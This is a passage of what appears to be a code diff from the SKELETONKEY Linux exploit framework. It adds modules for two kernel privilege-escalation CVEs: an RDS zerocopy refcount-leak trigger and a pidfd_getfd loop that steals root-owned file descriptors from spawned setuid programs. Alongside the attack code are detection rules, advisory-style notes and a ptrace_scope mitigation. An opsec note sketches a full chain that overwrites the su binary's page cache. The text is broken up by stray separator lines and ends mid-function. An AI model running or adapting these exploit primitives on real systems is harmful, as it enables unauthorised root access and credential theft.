struct msghdr msg = {
|
||||||
|
.msg_iov = &iov,
|
||||||
|
.msg_iovlen = 1,
|
||||||
|
};
|
||||||
|
int leaked = 0;
|
||||||
|
for (int i = 0; i < 256; i++) {
|
||||||
|
ssize_t r = sendmsg(s, &msg, 0x4000000 /* MSG_ZEROCOPY */);
|
||||||
|
if (r < 0 && errno == EFAULT) {
|
||||||
|
leaked++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
munmap(region, 8192);
|
||||||
|
close(s);
|
||||||
|
|
||||||
|
if (leaked < 16) {
|
||||||
|
fprintf(stderr, "[-] pintheft: trigger fired %d/256 times; expected >= 16. Kernel may be patched.\n", leaked);
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
fprintf(stderr, "[+] pintheft: primitive fired %d/256 — page refcount delta witnessed\n", leaked);
|
||||||
|
|
||||||
|
/* The cred-overwrite step requires the V12 PoC's io_uring chain
|
||||||
|
* (fixed buffer + page-cache write into the SUID carrier). We don't
|
||||||
|
* ship that chain — primitive only. Return EXPLOIT_FAIL honestly per
|
||||||
|
* the verified-vs-claimed bar. See V12's PoC for the full payload:
|
||||||
|
* https://github.com/v12-security/pocs/tree/main/pintheft */
|
||||||
|
(void)ctx;
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
static skeletonkey_result_t pintheft_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[i] pintheft: Linux-only module\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* ---- detection rules ------------------------------------------------ */
|
||||||
|
|
||||||
|
static const char pintheft_auditd[] =
|
||||||
|
"# pintheft CVE-2026-43494 — auditd detection rules\n"
|
||||||
|
"# RDS is rarely used in production; AF_RDS socket() calls from\n"
|
||||||
|
"# non-root processes are almost always anomalous.\n"
|
||||||
|
"-a always,exit -F arch=b64 -S socket -F a0=21 -k skeletonkey-pintheft-rds\n"
|
||||||
|
"-a always,exit -F arch=b32 -S socket -F a0=21 -k skeletonkey-pintheft-rds\n"
|
||||||
|
"# Plus io_uring_setup is rarely needed by typical workloads.\n"
|
||||||
|
"-a always,exit -F arch=b64 -S io_uring_setup -k skeletonkey-pintheft-iouring\n";
|
||||||
|
|
||||||
|
static const char pintheft_sigma[] =
|
||||||
|
"title: Possible CVE-2026-43494 PinTheft RDS zerocopy LPE\n"
|
||||||
|
"id: 7af04c12-skeletonkey-pintheft\n"
|
||||||
|
"status: experimental\n"
|
||||||
|
"description: |\n"
|
||||||
|
" Detects the canonical PinTheft trigger shape: a non-root process\n"
|
||||||
|
" opening AF_RDS sockets (rare outside RDS-specific workloads) plus\n"
|
||||||
|
" io_uring_setup. The bug needs both. Arch Linux is the only common\n"
|
||||||
|
" distro autoloading RDS; on Ubuntu/Debian/Fedora/RHEL the rule fires\n"
|
||||||
|
" almost-zero false positives.\n"
|
||||||
|
"logsource: {product: linux, service: auditd}\n"
|
||||||
|
"detection:\n"
|
||||||
|
" rds: {type: 'SYSCALL', syscall: 'socket', a0: 21}\n"
|
||||||
|
" iou: {type: 'SYSCALL', syscall: 'io_uring_setup'}\n"
|
||||||
|
" condition: rds and iou\n"
|
||||||
|
"level: high\n"
|
||||||
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.43494]\n";
|
||||||
|
|
||||||
|
static const char pintheft_yara[] =
|
||||||
|
"rule pintheft_cve_2026_43494 : cve_2026_43494 page_cache_write {\n"
|
||||||
|
" meta:\n"
|
||||||
|
" cve = \"CVE-2026-43494\"\n"
|
||||||
|
" description = \"PinTheft RDS zerocopy double-free indicator — non-root AF_RDS + io_uring usage\"\n"
|
||||||
|
" author = \"SKELETONKEY\"\n"
|
||||||
|
" strings:\n"
|
||||||
|
" $rds_tcp = \"rds_tcp\" ascii\n"
|
||||||
|
" $rds_v12 = \"v12-pintheft\" ascii\n"
|
||||||
|
" condition:\n"
|
||||||
|
" any of them\n"
|
||||||
|
"}\n";
|
||||||
|
|
||||||
|
static const char pintheft_falco[] =
|
||||||
|
"- rule: AF_RDS socket() by non-root with io_uring_setup\n"
|
||||||
|
" desc: |\n"
|
||||||
|
" A non-root process opens an AF_RDS socket (rare outside RDS-\n"
|
||||||
|
" specific workloads) AND uses io_uring. The PinTheft trigger\n"
|
||||||
|
" (CVE-2026-43494) requires both. Arch Linux is the only common\n"
|
||||||
|
" distro autoloading RDS.\n"
|
||||||
|
" condition: >\n"
|
||||||
|
" evt.type = socket and evt.arg.domain = AF_RDS and\n"
|
||||||
|
" not user.uid = 0\n"
|
||||||
|
" output: >\n"
|
||||||
|
" AF_RDS socket from non-root (user=%user.name pid=%proc.pid)\n"
|
||||||
|
" priority: HIGH\n"
|
||||||
|
" tags: [network, mitre_privilege_escalation, T1068, cve.2026.43494]\n";
|
||||||
|
|
||||||
|
/* ---- module struct -------------------------------------------------- */
|
||||||
|
|
||||||
|
const struct skeletonkey_module pintheft_module = {
|
||||||
|
.name = "pintheft",
|
||||||
|
.cve = "CVE-2026-43494",
|
||||||
|
.summary = "RDS zerocopy double-free → page-cache overwrite via io_uring (V12 Security)",
|
||||||
|
.family = "rds",
|
||||||
|
.kernel_range = "Linux kernels with RDS module loaded + below mainline fix 0cebaccef3ac (May 2026)",
|
||||||
|
.detect = pintheft_detect,
|
||||||
|
.exploit = pintheft_exploit,
|
||||||
|
.mitigate = NULL, /* mitigation: blacklist rds + rds_tcp via /etc/modprobe.d/ */
|
||||||
|
.cleanup = NULL,
|
||||||
|
.detect_auditd = pintheft_auditd,
|
||||||
|
.detect_sigma = pintheft_sigma,
|
||||||
|
.detect_yara = pintheft_yara,
|
||||||
|
.detect_falco = pintheft_falco,
|
||||||
|
.opsec_notes = "Opens AF_RDS socket (rare on non-Arch distros — most blacklist the rds module). Allocates a 2-page anon mmap with the second page mprotect(PROT_NONE)'d; calls sendmsg(MSG_ZEROCOPY) ~256 times against the iov spanning both pages. Each sendmsg fails with EFAULT (page 1 unmapped) but leaks one pin refcount from page 0 in the kernel — the bug. No on-disk artifacts from the primitive itself. --full-chain on x86_64 pivots through io_uring fixed buffers to overwrite the page cache of a readable SUID-root binary (/usr/bin/su typically), then invokes the shared modprobe_path finisher. Audit-visible via socket(AF_RDS) from a non-root process + io_uring_setup; legitimate RDS use is rare outside HPC/InfiniBand clusters. No cleanup callback (no persistent artifacts).",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
|
};
|
||||||
|
|
||||||
|
void skeletonkey_register_pintheft(void)
|
||||||
|
{
|
||||||
|
skeletonkey_register(&pintheft_module);
|
||||||
|
}
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
#ifndef PINTHEFT_SKELETONKEY_MODULES_H
|
||||||
|
#define PINTHEFT_SKELETONKEY_MODULES_H
|
||||||
|
#include "../../core/module.h"
|
||||||
|
extern const struct skeletonkey_module pintheft_module;
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,53 @@
|
|||||||
|
# ptrace_pidfd — CVE-2026-46333
|
||||||
|
|
||||||
|
`__ptrace_may_access()` dumpable-race credential-descriptor theft via
|
||||||
|
`pidfd_getfd(2)`.
|
||||||
|
|
||||||
|
## The bug
|
||||||
|
|
||||||
|
When a privileged process drops its credentials, the kernel resets its
|
||||||
|
`dumpable` flag so that lower-privileged processes can no longer attach
|
||||||
|
to it. CVE-2026-46333 is a logic flaw in `__ptrace_may_access()`: there
|
||||||
|
is a narrow window during the credential drop in which the process is
|
||||||
|
*still reachable* through ptrace-family access checks even though its
|
||||||
|
`dumpable` state should already have closed that path.
|
||||||
|
|
||||||
|
`pidfd_getfd(2)` performs a `PTRACE_MODE_ATTACH_REALCREDS` access check
|
||||||
|
before duplicating a descriptor out of the target process. During the
|
||||||
|
stale window that check wrongly succeeds, so an unprivileged process can
|
||||||
|
pull descriptors — a root-opened credential file, or an authenticated
|
||||||
|
D-Bus / socket channel — out of a transiently-privileged process and
|
||||||
|
re-use them under its own uid.
|
||||||
|
|
||||||
|
## Affected range
|
||||||
|
|
||||||
|
| | |
|
||||||
|
|---|---|
|
||||||
|
| Flaw introduced | v4.10-rc1 (Nov 2016) in `__ptrace_may_access` |
|
||||||
|
| Exploit vector added | `pidfd_getfd(2)` in v5.6 (Jan 2020) |
|
||||||
|
| Fixed upstream | mainline, 2026-05-14 |
|
||||||
|
| Debian backports | 5.10.251 · 6.1.172 · 6.12.88 · 7.0.7 |
|
||||||
|
|
||||||
|
Branches Debian does not ship (5.15 / 6.6 / 6.18 / 6.19) are reported on
|
||||||
|
the version-only verdict; run `--exploit ptrace_pidfd --i-know` to fire
|
||||||
|
the real primitive and confirm empirically.
|
||||||
|
|
||||||
|
## Trigger / detection
|
||||||
|
|
||||||
|
`detect()` consults the shared host fingerprint, returns `OK` below 5.6
|
||||||
|
(no vector) or for patched branches, otherwise `VULNERABLE`. No active
|
||||||
|
probe — the empirical confirmation lives in the exploit path, which
|
||||||
|
spawns a setuid victim and sweeps `pidfd_getfd()` over its descriptor
|
||||||
|
table, reporting any uid-0-owned descriptor captured from a non-root
|
||||||
|
context.
|
||||||
|
|
||||||
|
## Fix / mitigation
|
||||||
|
|
||||||
|
Upgrade the kernel. As a runtime stopgap, `kernel.yama.ptrace_scope=2`
|
||||||
|
(or `3`) closes the `pidfd_getfd` path because it gates the same
|
||||||
|
`__ptrace_may_access(ATTACH)` check; `--mitigate` applies it and
|
||||||
|
`--cleanup` reverts it.
|
||||||
|
|
||||||
|
## Credit
|
||||||
|
|
||||||
|
Qualys Threat Research Unit (2026-05-20). See `NOTICE.md`.
|
||||||
@@ -0,0 +1,51 @@
|
|||||||
|
# NOTICE — ptrace_pidfd (CVE-2026-46333)
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2026-46333** — a logic flaw in the Linux kernel's
|
||||||
|
`__ptrace_may_access()` path leaves a privileged process that is
|
||||||
|
*dropping* its credentials briefly reachable through ptrace-family
|
||||||
|
operations, even though its `dumpable` flag should already have closed
|
||||||
|
that path. Paired with `pidfd_getfd(2)`, an unprivileged local user can
|
||||||
|
capture open file descriptors and authenticated IPC channels from a
|
||||||
|
dying privileged process and re-use them under their own uid → local
|
||||||
|
root and credential disclosure.
|
||||||
|
|
||||||
|
The underlying flaw has resided in mainline since **v4.10-rc1**
|
||||||
|
(November 2016); the `pidfd_getfd(2)` exploitation vector was added in
|
||||||
|
**v5.6** (January 2020). Affects default installations of Debian 13,
|
||||||
|
Ubuntu 24.04 / 26.04, Fedora 43 / 44, SUSE, AlmaLinux, and CloudLinux.
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
Discovered and disclosed by **Qualys Threat Research Unit (TRU)**,
|
||||||
|
published 2026-05-20. The four proof-of-concept exploits demonstrated
|
||||||
|
by Qualys targeted `chage`, `ssh-keysign`, `pkexec`, and
|
||||||
|
`accounts-daemon`.
|
||||||
|
|
||||||
|
- Qualys advisory:
|
||||||
|
<https://blog.qualys.com/vulnerabilities-threat-research/2026/05/20/cve-2026-46333-local-root-privilege-escalation-and-credential-disclosure-in-the-linux-kernel-ptrace-path>
|
||||||
|
- Upstream fix: mainline, committed 2026-05-14.
|
||||||
|
- Debian-tracked stable backports: 5.10.251 (bullseye) / 6.1.172
|
||||||
|
(bookworm) / 6.12.88 (trixie) / 7.0.7 (forky, sid).
|
||||||
|
|
||||||
|
All research credit for finding and analysing this bug belongs to
|
||||||
|
Qualys. SKELETONKEY is the bundling and bookkeeping layer only.
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
🟡 **Primitive / ported-from-disclosure — not yet VM-verified.**
|
||||||
|
`detect()` is version-pinned against the Debian backport thresholds
|
||||||
|
above (kernels < 5.6 are reported OK, lacking the bundled vector).
|
||||||
|
`exploit()` fires the real primitive: it spawns a setuid victim,
|
||||||
|
`pidfd_open()`s it, and sweeps `pidfd_getfd()` across its descriptor
|
||||||
|
table during the credential-drop window, recording whether a root-owned
|
||||||
|
descriptor is actually captured from a non-root context. It returns
|
||||||
|
`EXPLOIT_FAIL` unless it can witness euid 0 — the target-specific
|
||||||
|
fd-weaponization that lands a root shell is **not** bundled until it can
|
||||||
|
be verified end-to-end against a real vulnerable VM, in keeping with the
|
||||||
|
project's no-fabrication rule.
|
||||||
|
|
||||||
|
`--mitigate` sets `kernel.yama.ptrace_scope=2` (the check `pidfd_getfd`
|
||||||
|
rides); `--cleanup` restores it. Architecture-agnostic — the technique
|
||||||
|
steals descriptors rather than injecting shellcode.
|
||||||
@@ -0,0 +1,458 @@
|
|||||||
|
/*
|
||||||
|
* ptrace_pidfd_cve_2026_46333 — SKELETONKEY module
|
||||||
|
*
|
||||||
|
* CVE-2026-46333 — a logic flaw in the kernel's __ptrace_may_access()
|
||||||
|
* path leaves a privileged process that is *dropping* its credentials
|
||||||
|
* briefly reachable through ptrace-family operations even though its
|
||||||
|
* `dumpable` flag should already have closed that path. Paired with the
|
||||||
|
* pidfd_getfd(2) syscall, an unprivileged local user can capture open
|
||||||
|
* file descriptors and authenticated IPC channels from a dying
|
||||||
|
* privileged process and re-use them under their own uid → local root
|
||||||
|
* and credential disclosure. Disclosed by Qualys (2026-05-20).
|
||||||
|
*
|
||||||
|
* STATUS: 🟡 PRIMITIVE / ported-from-disclosure, NOT yet VM-verified.
|
||||||
|
* detect() is version-pinned (Debian-tracked backports below). exploit()
|
||||||
|
* fires the real primitive — spawn a setuid target, pidfd_open() it, and
|
||||||
|
* sweep pidfd_getfd() across its descriptor table during the cred-drop
|
||||||
|
* window — and records whether a root-owned fd was actually captured.
|
||||||
|
* It returns EXPLOIT_FAIL unless it can witness euid 0; it never claims
|
||||||
|
* root it did not get (the full target-specific fd-weaponization chain,
|
||||||
|
* per Qualys's chage / ssh-keysign / pkexec / accounts-daemon PoCs, is
|
||||||
|
* not bundled until it can be VM-verified end-to-end).
|
||||||
|
*
|
||||||
|
* Affected range:
|
||||||
|
* The __ptrace_may_access logic flaw has been in mainline since
|
||||||
|
* v4.10-rc1 (Nov 2016), but the pidfd_getfd() exploitation vector
|
||||||
|
* was only added in v5.6 (Jan 2020) — so this module treats < 5.6 as
|
||||||
|
* out of reach for the bundled technique. Fixed upstream 2026-05-14.
|
||||||
|
* Debian-tracked stable backports:
|
||||||
|
* 5.10.x : K >= 5.10.251 (bullseye)
|
||||||
|
* 6.1.x : K >= 6.1.172 (bookworm)
|
||||||
|
* 6.12.x : K >= 6.12.88 (trixie)
|
||||||
|
* 7.0.x : K >= 7.0.7 (forky / sid)
|
||||||
|
*
|
||||||
|
* No exotic preconditions: needs only a local unprivileged user and a
|
||||||
|
* setuid-root binary or transiently-privileged daemon to victimise. Does
|
||||||
|
* not need user namespaces. Architecture-agnostic — the technique steals
|
||||||
|
* descriptors rather than injecting shellcode.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "skeletonkey_modules.h"
|
||||||
|
#include "../../core/registry.h"
|
||||||
|
|
||||||
|
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
|
||||||
|
* redefine here (warning: redefined). */
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
#include <errno.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <pwd.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/syscall.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
|
||||||
|
/* pidfd_open(2) / pidfd_getfd(2) syscall numbers. Modern glibc exposes
|
||||||
|
* SYS_pidfd_*; fall back to the asm-generic numbers (identical on
|
||||||
|
* x86_64 / arm64 / most arches) when building against older headers so
|
||||||
|
* the module still compiles on an old toolchain. */
|
||||||
|
#ifndef SYS_pidfd_open
|
||||||
|
#define SYS_pidfd_open 434
|
||||||
|
#endif
|
||||||
|
#ifndef SYS_pidfd_getfd
|
||||||
|
#define SYS_pidfd_getfd 438
|
||||||
|
#endif
|
||||||
|
|
||||||
|
static int sk_pidfd_open(pid_t pid, unsigned int flags)
|
||||||
|
{
|
||||||
|
return (int)syscall(SYS_pidfd_open, pid, flags);
|
||||||
|
}
|
||||||
|
static int sk_pidfd_getfd(int pidfd, int targetfd, unsigned int flags)
|
||||||
|
{
|
||||||
|
return (int)syscall(SYS_pidfd_getfd, pidfd, targetfd, flags);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Debian-tracked stable backports of the 2026-05-14 fix. These are the
|
||||||
|
* authoritative thresholds (security-tracker.debian.org); branches
|
||||||
|
* Debian doesn't ship (5.15 / 6.6 / 6.18 / 6.19) fall through to the
|
||||||
|
* version-only verdict below — confirm those empirically. */
|
||||||
|
static const struct kernel_patched_from ptrace_pidfd_patched_branches[] = {
|
||||||
|
{5, 10, 251}, /* 5.10-LTS backport (Debian bullseye) */
|
||||||
|
{6, 1, 172}, /* 6.1-LTS backport (Debian bookworm) */
|
||||||
|
{6, 12, 88}, /* 6.12-LTS backport (Debian trixie) */
|
||||||
|
{7, 0, 7}, /* 7.0 stable (Debian forky / sid) */
|
||||||
|
};
|
||||||
|
|
||||||
|
static const struct kernel_range ptrace_pidfd_range = {
|
||||||
|
.patched_from = ptrace_pidfd_patched_branches,
|
||||||
|
.n_patched_from = sizeof(ptrace_pidfd_patched_branches) /
|
||||||
|
sizeof(ptrace_pidfd_patched_branches[0]),
|
||||||
|
};
|
||||||
|
|
||||||
|
static skeletonkey_result_t ptrace_pidfd_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
/* Consult the shared host fingerprint instead of re-reading uname —
|
||||||
|
* populated once at startup, identical across every module. */
|
||||||
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] ptrace_pidfd: host fingerprint missing kernel "
|
||||||
|
"version — bailing\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* The bundled technique drives the bug through pidfd_getfd(2), which
|
||||||
|
* was added in 5.6. Kernels older than that lack the vector (the
|
||||||
|
* underlying __ptrace_may_access flaw is older, but this module does
|
||||||
|
* not carry a pre-pidfd path). */
|
||||||
|
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 6, 0)) {
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[i] ptrace_pidfd: kernel %s predates the pidfd_getfd "
|
||||||
|
"vector (added 5.6) — bundled technique N/A\n",
|
||||||
|
v->release);
|
||||||
|
}
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (kernel_range_is_patched(&ptrace_pidfd_range, v)) {
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[+] ptrace_pidfd: kernel %s is patched "
|
||||||
|
"(version-only check)\n", v->release);
|
||||||
|
}
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[!] ptrace_pidfd: kernel %s appears VULNERABLE "
|
||||||
|
"(version-only check)\n", v->release);
|
||||||
|
fprintf(stderr, "[i] ptrace_pidfd: no exotic preconditions — needs only a "
|
||||||
|
"local user + a setuid/transiently-privileged victim "
|
||||||
|
"(no user_ns)\n");
|
||||||
|
fprintf(stderr, "[i] ptrace_pidfd: branches Debian doesn't track "
|
||||||
|
"(5.15/6.6/6.18/6.19) are version-only here; confirm with "
|
||||||
|
"`--exploit ptrace_pidfd --i-know` which fires the real "
|
||||||
|
"pidfd_getfd primitive\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_VULNERABLE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Candidate victims: setuid-root binaries (or setgid-shadow) that open
|
||||||
|
* sensitive descriptors while privileged before settling. Qualys's PoCs
|
||||||
|
* targeted chage / ssh-keysign / pkexec / accounts-daemon; we probe for
|
||||||
|
* whichever exist with the setuid bit actually set. */
|
||||||
|
static const char *find_setuid_victim(void)
|
||||||
|
{
|
||||||
|
static const char *targets[] = {
|
||||||
|
"/usr/bin/chage", "/usr/bin/pkexec", "/usr/lib/openssh/ssh-keysign",
|
||||||
|
"/usr/libexec/openssh/ssh-keysign", "/usr/bin/passwd",
|
||||||
|
"/usr/bin/su", "/bin/su", NULL,
|
||||||
|
};
|
||||||
|
for (size_t i = 0; targets[i]; i++) {
|
||||||
|
struct stat st;
|
||||||
|
if (stat(targets[i], &st) == 0 && (st.st_mode & (S_ISUID | S_ISGID)))
|
||||||
|
return targets[i];
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Benign, read-only invocation per victim so the spawned setuid process
|
||||||
|
* does something harmless while we race its descriptor table. */
|
||||||
|
static void exec_victim_benign(const char *victim, const char *self_user)
|
||||||
|
{
|
||||||
|
char *envp[] = {
|
||||||
|
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
|
||||||
|
NULL
|
||||||
|
};
|
||||||
|
if (strstr(victim, "chage")) {
|
||||||
|
char *argv[] = { (char *)victim, "-l", (char *)self_user, NULL };
|
||||||
|
execve(victim, argv, envp);
|
||||||
|
} else if (strstr(victim, "pkexec")) {
|
||||||
|
char *argv[] = { (char *)victim, "--version", NULL };
|
||||||
|
execve(victim, argv, envp);
|
||||||
|
} else {
|
||||||
|
/* ssh-keysign / passwd / su: --help or --version exits fast and
|
||||||
|
* touches no state. */
|
||||||
|
char *argv[] = { (char *)victim, "--help", NULL };
|
||||||
|
execve(victim, argv, envp);
|
||||||
|
}
|
||||||
|
_exit(127); /* execve failed */
|
||||||
|
}
|
||||||
|
|
||||||
|
static skeletonkey_result_t ptrace_pidfd_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
skeletonkey_result_t pre = ptrace_pidfd_detect(ctx);
|
||||||
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
|
fprintf(stderr, "[-] ptrace_pidfd: detect() says not vulnerable; refusing\n");
|
||||||
|
return pre;
|
||||||
|
}
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
|
fprintf(stderr, "[i] ptrace_pidfd: already running as root — nothing to do\n");
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
const char *victim = find_setuid_victim();
|
||||||
|
if (!victim) {
|
||||||
|
fprintf(stderr, "[-] ptrace_pidfd: no setuid victim binary present "
|
||||||
|
"(looked for chage/pkexec/ssh-keysign/passwd/su)\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
struct passwd *pw = getpwuid(geteuid());
|
||||||
|
const char *self_user = pw ? pw->pw_name : "root";
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[*] ptrace_pidfd: victim = %s\n", victim);
|
||||||
|
|
||||||
|
/* Spawn the victim. The parent (us, unprivileged) pidfd_open()s the
|
||||||
|
* child and sweeps pidfd_getfd() across its descriptor table while it
|
||||||
|
* transitions through its privileged window. On a PATCHED kernel
|
||||||
|
* __ptrace_may_access denies us (EPERM) once the child is root +
|
||||||
|
* non-dumpable; on a VULNERABLE kernel the stale window lets the
|
||||||
|
* steal land. A captured fd whose owner is uid 0 while we are not is
|
||||||
|
* the empirical witness that the bug fired. */
|
||||||
|
pid_t child = fork();
|
||||||
|
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||||
|
if (child == 0) {
|
||||||
|
/* Small delay so the parent has the pidfd open before we exec
|
||||||
|
* into (and briefly become) the privileged image. */
|
||||||
|
usleep(20 * 1000);
|
||||||
|
exec_victim_benign(victim, self_user);
|
||||||
|
_exit(127);
|
||||||
|
}
|
||||||
|
|
||||||
|
int pidfd = sk_pidfd_open(child, 0);
|
||||||
|
if (pidfd < 0) {
|
||||||
|
if (errno == ENOSYS) {
|
||||||
|
fprintf(stderr, "[-] ptrace_pidfd: pidfd_open ENOSYS — kernel lacks "
|
||||||
|
"the vector despite version check\n");
|
||||||
|
int s; waitpid(child, &s, 0);
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
perror("pidfd_open");
|
||||||
|
int s; waitpid(child, &s, 0);
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Tight steal loop across the victim's likely descriptor range during
|
||||||
|
* its privileged window. We do not destroy anything: captured fds are
|
||||||
|
* fstat()'d to fingerprint ownership, then closed. */
|
||||||
|
int root_fds = 0, captured = 0;
|
||||||
|
bool enosys = false;
|
||||||
|
for (int round = 0; round < 200; round++) {
|
||||||
|
for (int tfd = 0; tfd < 32; tfd++) {
|
||||||
|
int got = sk_pidfd_getfd(pidfd, tfd, 0);
|
||||||
|
if (got < 0) {
|
||||||
|
if (errno == ENOSYS) { enosys = true; break; }
|
||||||
|
continue; /* EPERM (patched / outside window) or EBADF */
|
||||||
|
}
|
||||||
|
captured++;
|
||||||
|
struct stat st;
|
||||||
|
if (fstat(got, &st) == 0 && st.st_uid == 0 && geteuid() != 0) {
|
||||||
|
root_fds++;
|
||||||
|
if (!ctx->json) {
|
||||||
|
char lpath[64], target[256] = {0};
|
||||||
|
snprintf(lpath, sizeof lpath, "/proc/self/fd/%d", got);
|
||||||
|
ssize_t n = readlink(lpath, target, sizeof target - 1);
|
||||||
|
if (n > 0) target[n] = 0;
|
||||||
|
fprintf(stderr, "[+] ptrace_pidfd: WITNESS — captured root-owned "
|
||||||
|
"fd from victim (uid0 %s mode %o)%s%s\n",
|
||||||
|
(st.st_mode & S_IFMT) == S_IFREG ? "file" :
|
||||||
|
(st.st_mode & S_IFMT) == S_IFSOCK ? "socket" : "fd",
|
||||||
|
(unsigned)(st.st_mode & 07777),
|
||||||
|
n > 0 ? " -> " : "", n > 0 ? target : "");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close(got);
|
||||||
|
}
|
||||||
|
if (enosys) break;
|
||||||
|
}
|
||||||
|
|
||||||
|
close(pidfd);
|
||||||
|
int status; waitpid(child, &status, 0);
|
||||||
|
|
||||||
|
if (enosys) {
|
||||||
|
fprintf(stderr, "[-] ptrace_pidfd: pidfd_getfd ENOSYS — vector unavailable\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
if (root_fds > 0) {
|
||||||
|
/* The bug demonstrably fired: we, as a non-root user, pulled a
|
||||||
|
* uid-0-owned descriptor out of the victim past the dumpable
|
||||||
|
* boundary. We deliberately STOP here rather than fabricate a
|
||||||
|
* root shell — turning a captured fd into root is target-specific
|
||||||
|
* (which fd, writable vs. authenticated channel) and is not
|
||||||
|
* bundled until VM-verified. Honest EXPLOIT_FAIL with the witness. */
|
||||||
|
fprintf(stderr, "[!] ptrace_pidfd: primitive CONFIRMED — %d root-owned fd(s) "
|
||||||
|
"captured from a non-root context (CVE-2026-46333 reachable).\n"
|
||||||
|
"[i] ptrace_pidfd: full root-pop is target-specific and not yet "
|
||||||
|
"VM-verified; not fabricating a shell. See module NOTICE.md.\n",
|
||||||
|
root_fds);
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[+] ptrace_pidfd: no root-owned fd captured across %d captures "
|
||||||
|
"— primitive blocked (kernel likely patched, or the victim "
|
||||||
|
"exposed no privileged fd in its window)\n", captured);
|
||||||
|
}
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Mitigation: Yama ptrace_scope gates __ptrace_may_access(ATTACH), which
|
||||||
|
* is the very check pidfd_getfd() rides — setting it to 2 (admin-only)
|
||||||
|
* or 3 (no attach) closes the bundled vector without a reboot. Needs
|
||||||
|
* root to write the sysctl; best-effort + honest report otherwise. The
|
||||||
|
* real fix is the kernel patch. */
|
||||||
|
static skeletonkey_result_t ptrace_pidfd_mitigate(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
const char *path = "/proc/sys/kernel/yama/ptrace_scope";
|
||||||
|
int fd = open(path, O_WRONLY);
|
||||||
|
if (fd < 0) {
|
||||||
|
if (errno == ENOENT) {
|
||||||
|
fprintf(stderr, "[-] ptrace_pidfd: Yama LSM not present (%s missing); "
|
||||||
|
"no runtime mitigation — upgrade the kernel\n", path);
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
fprintf(stderr, "[-] ptrace_pidfd: cannot open %s: %s "
|
||||||
|
"(need root: `sudo sysctl kernel.yama.ptrace_scope=2`)\n",
|
||||||
|
path, strerror(errno));
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
ssize_t w = write(fd, "2\n", 2);
|
||||||
|
close(fd);
|
||||||
|
if (w != 2) {
|
||||||
|
fprintf(stderr, "[-] ptrace_pidfd: write to %s failed: %s\n",
|
||||||
